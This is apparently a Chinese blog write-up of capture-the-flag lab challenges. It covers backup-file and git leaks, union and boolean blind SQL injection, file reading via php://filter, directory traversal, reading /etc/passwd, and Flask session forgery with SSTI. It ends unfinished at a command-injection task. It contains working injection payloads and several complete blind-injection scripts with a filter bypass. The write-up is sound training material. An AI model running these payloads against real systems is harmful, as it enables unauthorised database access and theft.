ctf从0到1

ctf 在线解码工具
http://www.hiencode.com/
在这里插入图片描述

网站链接:

https://www.ichunqiu.com/battalion?t=1&r=68487

解题思路参考:https://blog.csdn.net/rfrder/article/details/108930033
侵删

举足轻重的信息搜集

第一题:常见的搜集

进入环境,用dirsearch扫一下,发现存在vim备份文件,gedit备份文件和robots.txt文件。
请添加图片描述

robots.txt直接访问,发现flag1_is_her3_fun.txt,直接访问发现了flag1。
index.php~直接访问,发现flag2。
直接访问.index.php.swp,把vim备份文件下载下来,然后vim -r index.php.swp对文件进行恢复,就可以得到flag3。
请添加图片描述

然后把这三个flag拼接起来就可以了。
在这里插入图片描述

第二题 粗心的小李

进入环境,提示是git泄露,直接用githack:

在这里插入图片描述

在这里插入图片描述

CTF中的SQL注入

SQL注入-1

进入环境,发现?id=1。我们输入3的时候告诉我们可以获得tips,这里忽略它。
首先尝试?id=2-1,发现显示的是id=2时的页面,说明可能是字符型注入(因为没有运算成1,判断包裹在‘ ’内),我们输入?id=1a,发现和id=1时的页面一样,印证了是字符型注入。然后尝试?id=1' and 1=1 --+?id=1' and 1=2 --+ ,印证了就是简单的字符型注入,然后就是正常的union注入了:

?id=1’ order by 3 – -

?id=-1’ union select 1,2,3 – -
在这里插入图片描述

?id=-1’ union select 1,database(),3 – -
在这里插入图片描述
猜表名
?id=-1’ union select 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=‘note’ --+
在这里插入图片描述

猜列名
?id=-1’ union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name=‘fl4g’ --+
在这里插入图片描述

?id=-1’ union select 1,group_concat(fllllag),3 FROM fl4g --+
在这里插入图片描述

是最基础的union注入。

SQL注入-2

一开始应该进的是login.php。在这里插入图片描述

这是一个进行SQL注入的登录页面。我们首先可以在用户名那里试出是字符型注入,可以利用单引号闭合。f12查看一下源码,发现:
如果觉得太难了,可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦。
在这里插入图片描述
这题不是用闭合单引号的方式直接登录的,是要获得flag的。因此应该是通过注入来获得数据库的相关信息,而不是所谓的靠万能密码,万能用户名进行登录。换一种思路,按照爆库的方式来注入,发现存在布尔注入:

请添加图片描述
在这里插入图片描述
因此就需要写脚本进行布尔注入了。但是还会遇到一个问题,就是在爆表的时候发现布尔注入失败了。怀疑存在过滤,尝试把select进行双写,发现布尔注入可以实现,因此这题居然还有个过滤select的坑。
接下来就是直接用脚本爆库了。脚本如下。
数据库长度:

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for i in range(30):
    #key = "admin%1$' and " + "(length(database())=" + str(i) + ")#"
    key = "admin' and " + "(length(database())=" + str(i) + ")#"
    data = {'name':key, 'pass':'123'}
    r = requests.post(url, data=data).text
    #print(r)
    if right in str(r):
        print('the length of database is %s' %i)

数据库名字:

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=4
name=''
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for j in range(1,length+1):
    for i in range(65,123):
        #key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
        #key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
        key = "admin'"+" and (ascii(substr(database(),%d,1))=%d)#"%(j,i)
        data = {'name':key, 'pass':'111'}
        r = requests.post(url, data=data).text
        if right in str(r):
            name+=chr(i)
            print(name)

表长度

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for i in range(30):
    key = "admin' and " + "length((sselectelect table_name FROM information_schema.tables WHERE table_schema=0x6e6f7465 limit 0,1))=" + str(i) + "#"
    data = {'name':key, 'pass':'111'}
    r = requests.post(url, data=data).text
    #print(r)
    if right in str(r):
        print('the length of table is %s' %i)

表名字

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=4
name=''
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for j in range(1,length+1):
    for i in range(48,123):
        #key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
        #key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
        key = "admin'"+" and (ascii(substr((seselectlect  table_name FROM information_schema.tables WHERE table_schema=0x6e6f7465 limit 0,1),%d,1))=%d)#"%(j,i)
        data = {'name':key, 'pass':'111'}
        r = requests.post(url, data=data).text
        if right in str(r):
            name+=chr(i)
            print(name)

列长度:

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for i in range(30):
    key = "admin' and " + "length((seselectlect column_name FROM information_schema.columns WHERE table_name=0x666c3467 limit 0,1))=" + str(i) + "#"
    data = {'name':key, 'pass':'111'}
    r = requests.post(url, data=data).text
    #print(r)
    if right in str(r):
        print('the length of column is %s' %i)

列名字:

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=4
name=''
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for j in range(1,length+1):
    for i in range(48,123):
        #key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
        #key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
        key = "admin'"+" and (ascii(substr((seselectlect  column_name FROM information_schema.columns WHERE table_name=0x666c3467 limit 0,1),%d,1))=%d)#"%(j,i)
        data = {'name':key, 'pass':'111'}
        r = requests.post(url, data=data).text
        if right in str(r):
            name+=chr(i)
            print(name)

flag长度:

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for i in range(60):
    key = "admin' and " + "length((seselectlect flag FROM fl4g limit 0,1))=" + str(i) + "#"
    data = {'name':key, 'pass':'111'}
    r = requests.post(url, data=data).text
    #print(r)
    if right in str(r):
        print('the length of column is %s' %i)

flag:

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=26
name=''
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for j in range(1,length+1):
    for i in dic:
        #key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
        #key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
        key = "admin'"+" and (ascii(substr((sselectelect flag FROM fl4g limit 0,1),%d,1))="%j+str(ord(i))+")#"
        data = {'name':key, 'pass':'111'}
        r = requests.post(url, data=data).text
        if right in str(r):
            name+=i
            print(name)

成功得到flag。

看了一下Nu1l官方的WP,是使用了?tips=1,开启了mysql错误提示,然后进行报错注入,记得双写select。

任意文件读取漏洞

afr_1

首先进入环境,发现了?p=hello,然后页面回显了hello world。猜测存在文件包含,而且get传入的参数p后面应该被加上了后缀。
尝试?p=flag,发现回显no no no,因此我们要读取的文件应该就是flag.php。
用php的filter直接读取一下,成功获得flag:

?p=php://filter/read=convert.base64-encode/resource=flag

1

后面是flag而不是flag.php是因为考虑到传入的参数会被加上后缀。

再base64解码就成功获得了flag.php的源码,其中flag在注释里。
在这里插入图片描述

afr_2

进入环境,没什么发现。f12查看源码,发现了图片的路径。本来没什么察觉,但是用dirsearch扫了一下,发现图片的那个目录是可访问的:
在这里插入图片描述

去/img看一看,发现存在目录可以访问:
在这里插入图片描述

看到这个,第一反应是猜测是不是存在目录穿越漏洞。具体的内容可以参考《从0到1:CTFer成长之路》第38面的Nginx错误配置。其实光看一遍书可能想不到这个,但是因为我以前正好做到过一个Nginx错误配置的题目,因此一看到这样的目录页面,第一反应就是目录穿越。
尝试改成/img/。
发现穿越到了上级目录:

在这里插入图片描述
下载flag文件:
在这里插入图片描述

afr_3

涉及到了flask的SSTI和linux一些文件的读取
在这里插入图片描述

进入环境后是一个输入框,输入后有一个回显,我第一反应就是SSTI,尝试{{12}},然后返回了12,猜测可能这题就不是SSTI了,因为存在了过滤。继续探索,发现/article?name=article存在任意文件读取,读取了一下/etc/passwd成功了:
在这里插入图片描述
然后我读了一下/proc/self/cmdline (# 可能包含有用的路径信息),返回了python server.py,说明这题应该是一个python的环境,但是我找不到这个server.py。我按照以前的经验,去读/app/server.py,提示没这个东西,因此还是找不到这个server.py,暂时放弃这个点。
在这里插入图片描述

又读了一下/proc/self/environ,返回HOSTNAME=035d9b32f7c1HOME=/rootPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPWD=/home/sssssserver,原来当前的目录是/home/sssssserver。读一下/home/sssssserver/server.py,终于读到了。。。
在这里插入图片描述
在这里插入图片描述

我把读到的内容 大致整理了一点点。。。反正勉强能看懂啥意思了。。。

#!/usr/bin/python
import os
from flask import (Flask, render_template, request, url_for, redirect, session, render_template_string)
from flask_session import Session

app = Flask(__name__)
execfile('flag.py')
execfile('key.py')
FLAG = flag
app.secret_key = key @ app.route("/n1page", methods=["GET", "POST"])


def n1page():
    if request.method != "POST":
        return redirect(url_for("index"))
    n1code = request.form.get("n1code") or None
    if n1code is not None: n1code = n1code.replace(".", "").replace("_", "").replace("{", "").replace("}", "")
if "n1code" not in session or session['n1code'] is None: session['n1code'] = n1code
template = None
if session[
    'n1code'] is not None: template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' %
session['n1code']
session['n1code'] = None
return render_template_string(template) @ app.route("/", methods=["GET"])


def index(): return render_template("main.html") @ app.route('/article', methods=['GET'])


def article(): error = 0


if 'name' in request.args:
    page = request.args.get('name') else:
    page = 'article'
if page.find('flag') >= 0: page = 'notallowed.txt'
try:
    template = open('/home/nu11111111l/articles/{}'.format(page)).read() except Exception as e:
    template = e
return render_template('article.html', template=template)
if __name__ == "__main__": app.run(host='0.0.0.0', debug=False)

模板渲染的内容就是n1code,但是其实n1code的来源可以是session。
想到flask的session伪造
里面的第一种方法就是flask的session伪造,但是伪造需要一个密钥,密钥应该就在key.py里

/proc/[PID]/cwd     # 当前进程的工作目录

在这里插入图片描述
因此session可以伪造,就相当于这题可以直接SSTI,而且没有过滤,因此直接SSTI进行读flag.py就可以了。
解密和伪造的方法都在大师傅博客里写的很清楚了,伪造的脚本的获取也有获取的方法。

关于flask的SSTI,看这篇文件就可以大致懂了:

命令执行漏洞
死亡ping命令
真的是哪里不会就考哪里。。我反弹shell这里是很迷的,没想到命令执行还要搞。。。
总的来说,就是过滤了很多很多东西,而且无回显,要想办法反弹。
这里先抓包,利用%0a就可以执行多条命令。

未完待续。。。

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

明月清风~~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值